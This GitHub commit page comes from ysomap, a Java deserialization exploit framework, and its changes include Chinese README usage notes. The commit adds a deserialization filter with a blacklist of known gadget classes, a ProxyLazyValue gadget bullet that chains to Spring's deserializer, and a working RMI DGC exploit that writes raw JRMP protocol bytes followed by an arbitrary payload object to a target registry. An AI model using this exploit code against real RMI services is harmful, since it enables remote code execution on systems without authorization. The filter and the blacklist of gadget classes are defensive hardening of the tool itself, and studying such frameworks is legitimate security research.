Skip to content

Commit

Permalink
fix deserialization vul
Browse files Browse the repository at this point in the history
  • Loading branch information
wh1t3p1g committed Nov 23, 2021
1 parent bcc949d commit b4de351
Show file tree
Hide file tree
Showing 8 changed files with 271 additions and 21 deletions.
51 changes: 33 additions & 18 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,35 +1,50 @@

# YSOMAP
![Platforms](https://img.shields.io/badge/Platforms-OSX-green.svg)
![Java version](https://img.shields.io/badge/Java-8%2b-blue.svg)
![Java version](https://img.shields.io/badge/Java-8-blue.svg)
![License](https://img.shields.io/badge/License-apache%202-green.svg)

Ysomap is A helpful Java Deserialization exploit framework based on ysoserial
Ysomap is A helpful Java Deserialization exploit framework.

Ysomap是一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload,以应对不同场景下的反序列化利用。
Ysomap是一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload。

随着利用链的补充,ysomap同样可作为一款Java反序列化利用链教学库。目前,ysomap支持Java原生反序列化利用链、fastjson利用链、hessian利用链、xmldecoder、xstream等等。

另外,ysomap具备exploit模块,用于充分调动反序列化利用链。目前,ysomap已支持RMI、JNDI、JMX、shiro、xmlrpc等exploits。

此外,ysomap支持多种exploits,用于生成或配置一些evil server,或者是常见漏洞的exp。
```
[+] exploits(11) payloads(31) bullets(28)
```
## #1 如何使用

### 生成
由于最新版XStream的payload需要JDK8的环境进行编译,所以后续运行需在JDK8的环境下运行
在谈如何使用ysomap之前,假设使用者有一定的Java反序列化利用的前置知识,以及一些常见利用的原理,如rmi、ldap等。

### Jar编译

使用`mvn clean package -DskipTests`
由于XStream的几个payload依赖JDK8的环境,所以后续的使用均在JDK8的环境下编译并运行

生成的jar位于`cli/target/ysomap.jar`
```bash
mvn clean package -DskipTests
```

版本>=v0.0.1支持两种运行模式
正常编译不出错,可在`cli/target`目录找到ysomap.jar

1. cli模式
执行`java -jar ysomap.jar cli`,终端模式

2. script模式
执行`java -jar ysomap.jar script /path/to/script.yso`,脚本模式
当然,你也可以直接下载[release](https://github.com/wh1t3p1g/ysomap/releases),但还是推荐自行clone后编译,因为大版本的更新将积攒一批利用链后才会发布release。

### Jar运行
> Note: 为了解决反制的问题,目前采用的是jdk8的ObjectInputFilter。在jdk11中,该对象改了package,所以最新版本是无法运行在jdk11上的
> 所以ysomap的后续版本编译及运行都将在jdk8的版本,不支持jdk11及以上
> 预计jdk8环境在国内仍能坚持一段时间,等未来再扩展jdk11及以上
经过几次迭代,目前ysomap支持两种运行模式:终端cli模式和脚本模式

终端模式
```bash
java -jar ysomap.jar cli
```
脚本模式
```bash
java -jar ysomap.jar script path/to/script.yso
```
终端模式更易于选择和配置exploit、payload、bullet,但对于重复性的配置,终端模式显的格外繁琐。所以后续又增加了脚本模式。通过编写特定配置的yso脚本,使用ysomap进行载入调用。脚本模式在正确配置的前提下将极大的节省使用者输入重复配置的工作量,提高使用效率。同时,yso脚本也可以被分享给其他使用者进行快捷使用。

ps: 后续版本为了适配XStream的相关gadget加入了很多jdk的对象,所以如果要使用xstream的gadget,ysomap最好运行在jdk8的环境下。
### 基础使用方法

参见[YSOMAP食用指北](https://github.com/wh1t3p1g/ysomap/wiki/YSOMAP%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97)
Expand Down
2 changes: 2 additions & 0 deletions cli/src/main/java/ysomap/cli/Console.java
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
import ysomap.common.exception.YsoClassNotFoundException;
import ysomap.common.exception.YsoFileNotFoundException;
import ysomap.common.util.Logger;
import ysomap.core.ObjectInputFilterManager;

import java.io.File;
import java.io.IOException;
Expand Down Expand Up @@ -51,6 +52,7 @@ public void init(){
exploits = loadMetaData("ysomap.exploits", Exploits.class);
payloads = loadMetaData("ysomap.payloads", Payloads.class);
bullets = loadMetaData("ysomap.bullets", Bullets.class);
ObjectInputFilterManager.setup();
Logger.success("exploits("+exploits.values().size()+") payloads("+payloads.values().size()+") bullets("+bullets.values().size()+")");
}

Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
package ysomap.bullets.jdk;

import ysomap.bullets.Bullet;
import ysomap.common.annotation.*;

import javax.swing.*;

/**
* @author wh1t3P1g
* @since 2021/1/4
*/
@Bullets
@Dependencies({"jdk"})
@Details("依赖spring框架触发二次反序列化")
@Targets({Targets.XSTREAM, Targets.HESSIAN})
@Authors({Authors.WH1T3P1G})
public class ProxyLazyValueWithDSBullet implements Bullet<UIDefaults.ProxyLazyValue> {

@NotNull
@Require(name = "serialized", detail = "序列化后的byte数组,非console配置,请勿用")
public byte[] serialized;

@Override
public UIDefaults.ProxyLazyValue getObject() throws Exception {
String classname = "org.springframework.util.SerializationUtils";
String methodName = "deserialize";
Object[] evilargs = new Object[]{serialized};
return new UIDefaults.ProxyLazyValue(classname, methodName, evilargs);
}

public static Bullet newInstance(Object... args) throws Exception {
Bullet bullet = new ProxyLazyValueWithDSBullet();
bullet.set("serialized", args[0]);
return bullet;
}
}
86 changes: 86 additions & 0 deletions core/src/main/java/ysomap/core/ObjectInputFilterManager.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
package ysomap.core;

import sun.misc.ObjectInputFilter;
import ysomap.core.util.ReflectionHelper;

import java.util.Arrays;

/**
* @author wh1t3p1g
* @since 2021/11/23
*/
public class ObjectInputFilterManager {

private static ObjectInputFilter filter = new ObjectWhitelistFilter();

public static void setup(){
try{
ObjectInputFilter.Config.setSerialFilter(filter);
} catch (IllegalStateException e){
try {
ReflectionHelper.setStaticFieldValue(ObjectInputFilter.Config.class, "serialFilter", filter);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}

public static void suspend() throws Exception {
ReflectionHelper.setStaticFieldValue(ObjectInputFilter.Config.class, "serialFilter", null);
}

public static class ObjectWhitelistFilter implements ObjectInputFilter{

private static final String[] whitelist = new String[]{
"java.",
"com.sun.",
"com.oracle.",
"javax."
};

private static final String[] blacklist = new String[]{
"com.sun.jndi.ldap.LdapAttribute",
"com.sun.jndi.rmi.registry.BindingEnumeration",
"com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"com.sun.rowset.JdbcRowSetImpl",
"com.sun.syndication.feed.impl.ObjectBean",
"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data",
"java.net.URL",
"java.rmi.registry.Registry",
"java.rmi.server.ObjID",
"java.rmi.server.RemoteObjectInvocationHandler",
"java.rmi.server.UnicastRemoteObject",
"java.util.ServiceLoader$LazyIterator",
"javax.imageio.ImageIO$ContainsFilter",
"javax.management.BadAttributeValueExpException",
"javax.management.MBeanServerInvocationHandler",
"javax.management.openmbean.CompositeDataInvocationHandler",
"javax.naming.spi.ObjectFactory",
};

@Override
public Status checkInput(FilterInfo filterInfo) {
Class<?> clazz = getSerialClass(filterInfo);
if(clazz != null){
if(clazz.isPrimitive() ||
(Arrays.stream(whitelist).anyMatch(pre -> clazz.getName().startsWith(pre))
&& Arrays.stream(blacklist).noneMatch(cl -> cl.equals(clazz.getName())))){
return Status.ALLOWED;
}
return Status.REJECTED;
}
return Status.UNDECIDED;
}

public Class<?> getSerialClass(FilterInfo filterInfo){
Class<?> clazz = filterInfo.serialClass();
if(clazz.isArray()){
do {
clazz = clazz.getComponentType();
} while (clazz.isArray());
}
return clazz;
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@

import ysomap.bullets.Bullet;
import ysomap.common.util.Logger;
import ysomap.core.ObjectInputFilterManager;
import ysomap.core.serializer.hessian.HessianSerializer;
import ysomap.core.serializer.json.FastJsonSerializer;
import ysomap.core.serializer.json.JacksonJsonSerializer;
Expand Down Expand Up @@ -67,8 +68,11 @@ public static void serialize(String current, Serializer serializer, Object obj)
}

public static Object test(Payload payload, Bullet bullet) throws Exception {
ObjectInputFilterManager.suspend();
Serializer serializer = payload.getSerializer();
payload.setBullet(bullet);
return serializer.deserialize(serializer.serialize(payload.getObject()));
Object obj = serializer.deserialize(serializer.serialize(payload.getObject()));
ObjectInputFilterManager.setup();
return obj;
}
}
11 changes: 10 additions & 1 deletion core/src/main/java/ysomap/core/util/ReflectionHelper.java
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,16 @@ public static Field getField(final Class<?> clazz, final String fieldName) {

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
if(field != null) {
field.set(obj, value);
}
}

public static void setStaticFieldValue(final Class<?> clazz, final String fieldName, final Object value) throws Exception {
final Field field = getField(clazz, fieldName);
if(field != null){
field.set(clazz, value);
}
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Expand Down
98 changes: 98 additions & 0 deletions core/src/main/java/ysomap/exploits/rmi/RMIDGCExploit.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
package ysomap.exploits.rmi;

import sun.rmi.transport.TransportConstants;
import ysomap.common.annotation.*;
import ysomap.common.util.Status;
import ysomap.exploits.AbstractExploit;
import ysomap.exploits.rmi.component.MarshalOutputStream;

import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.UnknownHostException;

/**
* @author wh1t3p1g
* @since 2021/11/23
*/
@Exploits
@Authors({Authors.MBECHLER})
@Require(bullets = {"all gadgets"}, param = false)
@Details("RMI底层JRMP的dgc实现存在反序列化漏洞。\n" +
"当前利用需要设置一个payload")
public class RMIDGCExploit extends AbstractExploit {

@NotNull
@Require(name = "target", detail = "target RMI Registry host:port, like localhost:1099")
public String target;

@NotNull
public Object payload;

public String payloadName;

@Override
public void work() {
String[] detail = target.split(":");
if(detail.length == 2){
try {
makeDGCCall(detail[0], Integer.parseInt(detail[1]), payload);
} catch (IOException e) {
e.printStackTrace();
}
}
}

@Override
public void stop() {
status = Status.STOPPED;
}

public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);

OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);

dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);

dos.write(TransportConstants.Call);

@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);

objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);

objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);

objOut.writeObject(payloadObject);

os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ public MarshalOutputStream (OutputStream out, URL u) throws IOException {
this.sendUrl = u;
}

MarshalOutputStream ( OutputStream out ) throws IOException {
public MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
}

Expand Down

0 comments on commit b4de351

Please sign in to comment.